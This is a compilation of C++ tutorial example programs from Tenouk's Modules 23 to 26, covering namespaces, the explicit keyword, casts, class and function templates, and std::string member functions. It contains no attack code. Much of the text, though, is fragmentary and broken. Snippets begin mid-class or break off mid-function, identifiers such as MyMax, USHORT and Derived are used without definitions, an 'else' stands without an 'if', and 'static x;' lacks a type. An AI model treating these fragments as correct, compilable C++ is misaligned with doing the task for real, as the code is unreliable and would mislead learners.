MyStack(int initsize);
~MyStack(void);
};
MyStack::MyStack(int initsize)
{
static x;
cout<<"Constructor: Pass #"<<x<<endl;
x++;
}
MyStack::~MyStack(void)
{
static y;
cout<<"Destructor: Pass #"<<y<<endl;
y++;
}
//----main program----
int main()
{
//The initial stack size is 10
MyStack p(20);
----------------------------------------------------------------------------------------------
//simple class
//compiled using visual C++ .Net
#include <iostream>
using namespace std;
class MyStack
{
public:
//create a stack with initial size
explicit MyStack(int initsize);
~MyStack(void);
};
MyStack::MyStack(int initsize)
{
static x;
cout<<"Constructor: Pass #"<<x<<endl;
x++;
}
MyStack::~MyStack(void)
{
static y;
cout<<"Destructor: Pass #"<<y<<endl;
y++;
}
//----main program----
int main()
{
//The initial stack size is 10
MyStack p(20);
//but, there will be new stack objects
//with size of 30!
//p = 30;
cout<<"With the explicit keyword!\n";
return 0;
}
--------------------------------------VC++/VC++ .Net---------------------------------------------------
class Base
{
public:
virtual void funct(){}
};
int main()
{
Derived* Test1 = new Derived;
Base* Test2 = Test1;
//**********-typecast.cpp-**********
//upcast conversion using dynamic_cast
#include <iostream>
using namespace std;
//base class
class Base1 {};
//derived class...
class Derived1:public Base1 {};
else
cout<<"The conversion is successful..."<<endl;
int main()
{
funct1();
return 0;
}
============================MODULE23=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
//namespace with using directive. For VC++ (Ver > 4.0)/VC++ .Net
//change the header files accordingly....more info at the end of
//this Module...
//#include <iostream>
//#include <cstdlib>
//using namespace std;
#include <iostream>
#include <stdlib.h>
namespace SampleOne
{
float p = 10.34;
}
namespace SampleTwo
{
using namespace SampleOne;
float q = 77.12;
namespace InSampleTwo
{
float r = 34.725;
}
}
int main()
{
//this directive gives you everything declared in SampleTwo
using namespace SampleTwo;
//this directive gives you only InSampleTwo
using namespace SampleTwo::InSampleTwo;
//local declaration, take precedence
float p = 23.11;
cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
cout<<"r = "<<r<<endl;
system("pause");
return 0;
----------------------------------------------------------------------------------------------------
namespace NewNsOne
{
//declare namespace NewNsOne variable
int p = 4;
//declare namespace NewNsOne function
int funct(int q);
}
namespace NewNsTwo
{
//declare namespace NewNsTwo variable
int r = 6;
//declare namespace NewNsTwo function
int funct1(int numb);
//declare nested namespace
namespace InNewNsTwo
{
//declare namespace InNewNsTwo variable
long tst = 20.9456;
}
}
int main()
{
//The following four lines of code will generate error
//because it is not at global scope...
//namespace local
//{
//int k;
//}
cout<<"NewNsOne::p is "<<(NewNsOne::p)<<endl;
cout<<"NewNsTwo::r is "<<(NewNsTwo::r)<<endl;
cout<<"NewNsTwo::InNewNsTwo::tst is"<<(NewNsTwo::InNewNsTwo::tst)<<endl;
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------------
//namespace alias
#include <iostream>
#include <stdlib.h>
namespace TheFirstLongNamespaceSample
{
float p = 23.44;
namespace TheNestedFirstLongNamespaceSample
{
int q = 100;
}
}
//Alias namespace
namespace First = TheFirstLongNamespaceSample;
int main()
{
using namespace First;
using namespace Second;
cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------------
//namespace extension
//cannot be compiled, no output, just sample code
//original namespace
namespace One
{
//declare namespace One variable
int p;
int q;
}
namespace Two
{
float r;
int s;
}
int main()
{
}
//no output
----------------------------------------------------------------------------------------------------------
//namespace extension
#include <iostream>
#include <stdlib.h>
struct SampleOne
{};
struct SampleTwo
{};
//original namespace
namespace NsOne
{
//original function...
void FunctOne(struct SampleOne)
{
cout<<"Processing the struct argument..."<<endl;
}
}
int main()
{
SampleOne TestStruct;
SampleTwo TestClass;
FunctOne(TestStruct);
//The following function call fails because there are
//no overloaded version for this one
//FunctOne(TestClass);
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------------------
//Anonymous namespace
namespace
{
int p = 1; //unique::p
}
void funct1()
{
++p; //unique::++p
}
namespace One
{
//Nested anonymous namespace
namespace
{
int p; //One::unique::p
int q = 3; //One::unique::q
}
}
//using-declaration
using namespace One;
void testing()
{
//++p; // error, unique::p or One::unique::p?
//One::++p; //error, One::p is undefined
cout<<"++q = "<<++q<<endl;
}
int main()
{
testing();
system("pause");
return 0;
}
------------------------------------------------------------------------------------------------------------
//using directive
#include <iostream>
#include <stdlib.h>
namespace One
{
float p = 3.1234;
}
namespace Two
{
using namespace One;
float q = 4.5678;
namespace InTwo
{
float r = 5.1234;
}
}
int main()
{
cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
cout<<"r = "<<r<<endl;
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------------------
//using declaration
//Function funct2() defined in two different namespaces
#include <iostream>
#include <stdlib.h>
namespace One
{
float funct1(float q)
{
return q;
}
int main()
{
//The using declaration identifies the desired version of funct2()
using One::funct1; //Becomes qualified identifier
using Two::funct2; //Becomes qualified identifier
p = funct1(3.422);
cout<<"Second p value, by function call = "<<p<<endl;
funct2();
system("pause");
return 0;
}
------------------------------------------------------------------------------------------------------------------
class One
{
public:
void funct1(char chs)
{cout<<"character = "<<chs<<endl;}
};
int main()
{
Two Sample;
//Calling One::funct1()
Sample.funct1('P');
//Calling Two::funct1()
Sample.funct1("This is string");
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------------------
void main()
{
std::cout<<"Demonstrating ";
using namespace std;
cout<<"the std namespace."<<endl;
system("pause");
}
------------------------------------------------------------------------------------------------------------------
//main() function
int main( )
{
//variables declaration and initialization
int x, y, z;
x = 20;
y = 2;
return 0;
}
-------------------------------------------------------------------------------------------------------------
int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;
return 0;
}
-----------------------------------------------------------------------------------------------------------------
int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;
return 0;
}
-------------------------------------------------G++-----------------------------------------------------
//***************namespace.cpp**************/
//demonstrates the use of function prototypes
//variation of the C++ program, no .h anymore
//without the 'using namespace std;'
#include <iostream>
int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;
return 0;
}
============================MODULE24=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=======================BUT HERE ALL C++ codes============================
#include <iostream>
using namespace std;
int main()
{
cout<<"MyMax(10,20) = "<<MyMax(10,20)<<endl;
cout<<"MyMax('Z','p') = "<<MyMax('Z','p')<<endl;
cout<<"MyMax(1.234,2.345) = "<<MyMax(1.234,2.345)<<endl;
cout<<"Address of *p = "<<&p<<endl;
cout<<"Address of *q = "<<&q<<endl;
cout<<"MyMax(\"Function\",\"Template\") = "<<MyMax(p,q)<<endl;
cout<<"Should use Specialization, shown later..."<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
//If you notice, other than the red color line of code, it is same as normal class, isn’t it?
public:
//constructor...
MyStack(int =10);
//destructor...
~MyStack(){delete [] StacKPtr;}
//put in data...
int push(const any_data_type&);
//take out data...
int pop(any_data_type&);
//test the emptiness...
int IsEmpty() const {return top == -1;}
//test the fullness...
int IsFull() const {return top == size – 1;}
};
-------------------------------------------------------------------------------------
any_data_type *buffer;
//copy constructor
Vector<any_data_type> (const Vector <any_data_type> &Var1)
//overloaded assignment operator
Vector<any_data_type>& operator=(const Vector<any_data_type>& Var2)
//destructor
~Vector<any_data_type>();
//other member functions…
any_data_type& operator [ ] (unsigned int index);
const any_data_type& operator [ ] (unsigned int index) const;
}
----------------------------------------------------------------------------------------
public:
//constructor...
MyStack(int =10);
//destructor...
~MyStack(){delete [] StacKPtr;}
//put in data...
int push(const any_data_type&);
//take out data...
int pop(any_data_type&);
//test the emptiness...
int IsEmpty() const {return top == -1;}
//test the fullness...
int IsFull() const {return top == size - 1;}
};
----------------------------------------------------------------------------------------------
//normal class
class MyClass
{
//...
//but, have template member function...
int main()
{
return 0;
}
------------------------------------------------------------------------------------------------
int main()
{
return 0;
}
-------------------------------------------------------------------------------------------------
#include <iostream>
using namespace std;
Test<any_data_type>::Test()
{cout<<"Constructor, allocate..."<<endl;}
//destructor
template <class any_data_type>
Test<any_data_type>::~Test()
{cout<<"Destructor, deallocate..."<<endl;}
//--------main program--------
int main()
{
Test<int> Var1;
Test<double> Var2;
Test<char> Var3;
Test<char*> Var4;
------------------------------------------------------------------------------------------
#include <iostream>
using namespace std;
//destructor
------------------------------------------------------------------------------------------------
//----test.cpp file------------
//---compile and run this program----
//--------main program--------
int main()
{
Test<int> Var1;
Test<double> Var2;
Test<char> Var3;
Test<char*> Var4;
----------------------------------------------------------------------------------------------------
#include <iostream>
using namespace std;
cout<<"Implicit instantiation..."<<endl;
//and generates function Test<int>::Funct1()
cout<<"Var1 = "<<Var1.Funct1(200)<<endl;
//and generates function Test<double>::Funct2()
cout<<"Var2 = "<<Var2.Funct2(3.123)<<endl;
return 0;
}
------------------------------------------------------------------------------------------------------
#include <iostream>
using namespace std;
---------------------------------------------------------------------------------------------------
//implicit instantiation
#include <iostream>
using namespace std;
int main()
{
int p;
char q;
p = MyMax(100, 200);
q = MyMax('k', 'K');
----------------------------------------------------------------------------------------------------
//explicit instantiation
#include <iostream>
using namespace std;
----------------------------------------------------------------------------------------------------
#include <iostream>
using namespace std;
cout<<"Var1.TestFunct(100) = "<<Var1.TestFunct(100)<<endl;
return 0;
}
------------------------------------------------------------------------------------------------------
#include <iostream>
#include <string>
using namespace std;
------------------------------------------------------------------------------------------------------
#include <iostream>
#include <string>
//for strcmp()
#include <cstring>
using namespace std;
//call specialization
const char *Var3 = "Class";
const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;
return 0;
}
------------------------------------------------------------------------------------------------------
#include <iostream>
using namespace std;
//calls Test(any_data_type
int q = Test(p);
double r = Test(3.1234);
//calls Test(any_data_type*)
int *s = Test(&p);
char *t = "Partial lor!";
cout<<"Partial types = "<<s<<endl;
cout<<"Partial types = "<<t<<endl;
-------------------------------------------------------------------------------------------------------
#include <iostream>
using namespace std;
int main()
{
cout<<"MyMax(10,20) = "<<MyMax(10,20)<<endl;
cout<<"MyMax('Z','p') = "<<MyMax('Z','p')<<endl;
cout<<"MyMax(1.234,2.345) = "<<MyMax(1.234,2.345)<<endl;
char* Var3 = "Function";
char* Var4 = "Template";
cout<<"\nTesting...."<<endl;
cout<<"Address of *Var3 = "<<&Var3<<endl;
cout<<"Address of *Var4 = "<<&Var4<<endl;
cout<<"MyMax(\"Function\",\"Template\") = "<<MyMax(Var3,Var4)<<endl;
return 0;
}
--------------------------------------------------------------------------------------------------------
{
typename any_data_type::another_data_type * ptr;
//...
};
int main()
{
return 0;
}
------------------------------------------------G++ on Fedora------------------------------------------------------
//*******template.cpp**********
#include <iostream>
#include <string>
//for strcmp()
#include <cstring>
using namespace std;
//call specialization
const char *Var3 = "Class";
const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;
return 0;
}
============================Module25=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
int main( )
{
const basic_string <char> str1("TEST");
//Uses the typedef for string word
//synonym to basic_string <char>
string str2("TEST");
-----------------------------------------------------------------------------------------------
int main( )
{
//Declaring an objects of type basic_string<char>
string str1("testingone");
string str2("testingtwo");
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
//Declaring a C-style string
char *str3 = "testingone";
cout<<"C-style str3 string is = "<<str3<<endl;
-----------------------------------------------------------------------------------------------
int main()
{
//Declaring objects of type basic_string<char>
string str1("testingthree");
string str2("testingtwo");
cout<<"str1 is = "<<str1<<endl;
cout<<"str2 is = "<<str2<<endl;
-----------------------------------------------------------------------------------------------
int main( )
{
//Declaring an objects of type basic_string<char>
string str1("testingone");
string str2("testingtwo");
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
//Declaring a C-style string
char *str3 = "testingone";
cout<<"str3 C-style string is = "<<str3<<endl;
-----------------------------------------------------------------------------------------------
int main()
{
string Sample = "Testing the << and >> operators.";
string Var1, Var2;
cout<<Sample<<endl;
cout<<"Enter a string or a word: ";
cin>>Var1;
cout<<"Enter another string or a word: ";
cin>>Var2;
cout<<"The strings entered are: "<<Var1<<" and "<<Var2<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
int main()
{
//Declaring an object of type basic_string<char>
string str1("StringOne");
string str2("StringTwo");
//Declaring a C-style string
-----------------------------------------------------------------------------------------------
//swap()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//Declaring an object of type basic_string<char>
string str1("StringOne");
string str2("StringTwo");
cout<<"Before swapping string str1 and str2:"<<endl;
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
swap(str1, str2);
cout<<"\nOperation: swap(str1, str2)"<<endl;
cout<<"After swapping string str1 and str2:"<<endl;
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
//getline()
#include <string>
#include <iostream>
using namespace std;
int main()
{
string str;
string str1;
string str2;
cout<<"Enter a line of text: ";
getline(cin, str);
cout<<"You entered: "<<str<<endl;
cout<<"Enter a line of text, <space> as the delimiter: "<<endl;
getline(cin, str1, ' ');
cout<<"You entered: "<<str1<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
//append()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//appending a C-string to a string
string str1("Playing ");
const char *str2 = "with a string";
-----------------------------------------------------------------------------------------------
int main()
{
//assigning the characters of a C-string to a string
string str1;
const char *str2 = "StRiNg assign()";
-----------------------------------------------------------------------------------------------
//at()
#include <string>
#include <iostream>
using namespace std;
int main()
{
string str1("Operation"), str2("Desert Storm");
const string constr1("Making cakes"), constr2("Start eating");
cout<<"---constr1.length()---"<<endl;
cout<<"The length of the constr1 string is: "<<unsigned int(constr1.length())<<endl;
cout<<"\n---constr2.at(8)---"<<endl;
cout<<"The 8th character of the constr2 is: "<<cRefStr2<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
//basic_string
#include <string>
#include <iostream>
using namespace std;
int main()
{
//initializing with a C-string
const char *str1 = "The basic_string";
basic_string <char> str2(str1, 5);
cout<<"str1 string is: "<<str1<<endl;
cout<<"Operation: str2(str1, 5)"<<endl;
cout<<"str2 initialized by str1 is: "<<str2<<"\n\n";
-----------------------------------------------------------------------------------------------
//begin(), end()
#include <string>
#include <iostream>
using namespace std;
int main()
{
-----------------------------------------------------------------------------------------------
int main( )
{
string str1("Testing the c_str");
cout<<"The original string object str1 is: "<<str1<<endl;
cout<<"Operation: str1.length()"<<endl;
cout<<"The length of the string object str1 = "<<str1.length()<<"\n\n";
-----------------------------------------------------------------------------------------------
int main( )
{
string str1("Testing the capacity()");
cout<<"str1 string is: "<<str1<<endl;
SizeStr1 = str1.size();
LenStr1 = str1.length();
CapStr1 = str1.capacity();
MaxSizeStr1 = str1.max_size();
-----------------------------------------------------------------------------------------------
//clear()
#include <string>
#include <iostream>
using namespace std;
int main( )
{
string str1("Testing the clear()");
basic_string <char>::iterator StrIter;
//Normal...
cout<<"str1 string is :"<<str1<<endl;
//using iterator....iterate character by character...
cout<<"str1 string is: ";
for (StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;
//str1.clear();
cout<<"\nErasing part of the string using erase(13)"<<endl;
str1.erase(13);
cout<<"Operation: str1.erase(13)"<<endl;
cout<<"The modified str1 string is: ";
//using iterator...
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;
-----------------------------------------------------------------------------------------------
int main()
{
-----------------------------------------------------------------------------------------------
#include <string>
#include <iostream>
using namespace std;
int main()
{
//comparing part of a string to part of a string
int str8;
string str9("TestFourth");
string str10("TFourthT");
cout<<"str9 string is: "<<str9<<endl;
cout<<"str10 string is: "<<str10<<endl;
str11 = str12.compare(str13);
cout<<"Operation: str12.compare(str13)"<<endl;
if(str11 < 0)
cout<<"The str12 string is less than the str13 C-string."<<endl;
else if(str11 == 0)
cout<<"The str12 string is equal to the str13 C-string."<<endl;
else
cout<<"The str12 string is greater than the str13 C-string."<<endl;
cout << endl;
-----------------------------------------------------------------------------------------------
//copy()
#include <string>
#include <iostream>
using namespace std;
int main()
{
string str1("Testing the copy()");
basic_string <char>::iterator StrIter;
//declare and initialize arrays to 0
char Array1[20] = {0};
char Array2[10] = {0};
basic_string <char>:: pointer Array1Ptr = Array1;
basic_string <char>:: value_type *Array2Ptr = Array2;
-----------------------------------------------------------------------------------------------
int main()
{
string str1("Testing the data()");
cout<<"str1 string object is: "<<str1<<endl;
cout<<"Operation: str1.length()"<<endl;
cout<<"The length of str1 = "<<unsigned int(str1.length())<<"\n\n";
-----------------------------------------------------------------------------------------------
//empty()
#include <string>
#include <iostream>
using namespace std;
int main()
{
bool Var1, Var2;
string str1("Testing the empty()");
cout<<"str1 string object is: "<<str1<<endl;
Var1 = str1.empty();
//test the emptiness
cout<<"Operation: str1.empty()"<<endl;
if(Var1)
cout<<"str1 string object is empty."<<endl;
else
cout<<"str1 string object is not empty."<<"\n\n";
-----------------------------------------------------------------------------------------------
//begin(), end()
#include <string>
#include <iostream>
using namespace std;
int main( )
{
string str1("Testing the end()");
basic_string <char>::iterator StrIter, Str1Iter;
Str1Iter = str1.end();
//minus the null character, so point to the real
//last character in the string...
Str1Iter--;
cout<<"Operation: str1.end() then Str1Iter--"<<endl;
cout<<"str1 string is: "<<str1<<endl;
cout<<"The last character of the str1 string is: "<<*Str1Iter<<endl;
//end() used to test when an iterator has reached the end of its string
cout<<"Using forward iterator the str1 is: ";
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<"\n\n";
-----------------------------------------------------------------------------------------------
//erase()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//using a range...
string str1("Testing the erase() part I");
basic_string <char>::iterator Str1Iter;
cout<<"str1 string object is: "<< str1<<endl;
-----------------------------------------------------------------------------------------------
//find() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//don't forget the null character
//searching for a single character in a string
string str1("Search part I, a character in a string");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
index2 = str1.find('t');
cout<<"Operation: str1.find('t')"<<endl;
if(index2 != npos)
cout<<"The index of the 't' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 't' was not found in str1."<<endl;
cout<<endl;
//---------------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Search part II, a substring in string");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
-----------------------------------------------------------------------------------------------
//find() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//don't forget the null character
//searching a string for a substring as specified by a C-string
static const basic_string <char>::size_type npos = -1;
string str3("Again, search part III");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
//--------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Finally!, search part IV");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;
string str5("part");
index7 = str4.find(str5, 4);
cout<<"Operation: str4.find(str5, 4)"<<endl;
if(index7 != npos)
cout<<"The index of the 1st element of 'part' "
<<"after\nthe 4th position in str4 is: "<<unsigned int(index7)<<endl;
else
cout<<"The substring 'part' was not found in str4"<<endl;
cout<<endl;
string str6("arch");
index8 = str4.find(str6);
cout<<"Operation: str4.find(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st element of 'arch' in "
<<"str4 is: "<<unsigned int(index8)<<endl;
else
cout<<"The substring 'arch' was not found in str4"<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
//find_first_not_of() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
index2 = str1.find_first_not_of('T');
cout<<"\nOperation: str1.find_first_not_of('T')"<<endl;
if(index2 != npos)
cout<<"The index of the 'non T' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 'non T' was not found in str1."<<endl;
cout<<endl;
//---------------------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing the find_first_not_of() part 2");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
const char *cstr2 = "df";
-----------------------------------------------------------------------------------------------
//find_first_not_of() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching a string for a substring as specified by a C-string
string str3("Testing the find_first_not_of() part 3");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;
//--------------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing the find_first_not_of() part 4");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;
string str5("tf7");
index7 = str4.find_first_not_of(str5, 3);
cout<<"Operation: str4.find_first_not_of(str5, 3)"<<endl;
if(index7 != npos)
cout<<"The index of the 1st non occurrence of an element\nof 'tf7' "
<<"in str4 after the 3rd position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements other than those in the substring 'tf7' "
<<"were not found in the string str4."<<endl;
string str6("in");
index8 = str4.find_first_not_of(str6);
cout<<"\nOperation: str4.find_first_not_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element of\n'in' in str4 after the 0th "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements other than those in the substring"
<<" 'in' were not found in the string str4."<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
//find_first_of() part I
#include <string>
#include <iostream>
using namespace std;
int main( )
{
//searching for a single character in a string
string str1("find_first_of()");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
index2 = str1.find_first_of('z');
cout<<"\nOperation: str1.find_first_of('z')"<<endl;
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 'z' was not found in str1."<<endl;
//--------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing 123...Testing 123");
cout<<"\nstr2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
if(index4 != npos)
cout <<"The index of the 1st element of 'g3'\n"
<<"after the 0th position in str2 is: "<<unsigned int(index4)<<endl;
else
cout<<"The substring 'g3' was not found in str2."<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------
//find_first_of() part II
#include <string>
#include <iostream>
using namespace std;
int main( )
{
//searching a string for a substring as specified by a C-string
string str3("Testing 456...Testing 456...789");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;
//------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("find_first_of() and find_first_of()");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;
string str5("dfz");
index7 = str5.find_first_of(str5, 3);
cout<<"Operation: str5.find_first_of(str5, 3)"<<endl;
if(index7 != npos)
string str6("fo");
index8 = str4.find_first_of(str6);
cout<<"\nOperation: str4.find_first_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element\nof 'fo' in str4 after the 0th "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements of the substring 'fo' were not\n"
<<"found in str4 after the 0th position."<<endl;
return 0;
}
----------------------------------------USING G++----------------------------------------------------
//**********string.cpp**************
//append()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//appending a C-string to a string
string str1("Playing ");
const char *str2 = "with a string";
============================MODULE26=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Example compiled using
g++ are given at the end of every Module. For example if you want to compile
C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
//find_last_not_of() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching for a single character in a string
string str1("daddy donkey is dead");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
index2 = str1.find_last_not_of('d');
cout<<"\nOperation: str1.find_last_not_of('d')"<<endl;
if(index2 != npos)
cout<<"The index of the non 'd' found in str1 is: "
<<unsigned int(index2)<<endl;
else
cout<<"The Character 'non d' was not found in str1."<<endl;
cout<<endl;
//----------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing Testing Testing");
cout<<"str2 string is: "<<str2<<"\n";
basic_string <char>::size_type index3, index4;
---------------------------------------------------------------------------------------------------------
//find_last_not_of() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching a string for a substring as specified by a C-string
string str3("Playing Testing Boring");
cout<<"str3 string is: "<<str3<<"\n";
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;
//-----------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing 123 Testing 123");
cout<<"str4 string is: "<<str4<<"\n";
basic_string <char>::size_type index7, index8;
string str6("Testing");
index8 = str4.find_last_not_of(str6);
cout<<"\nOperation: str4.find_last_not_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the last occurrence of an "
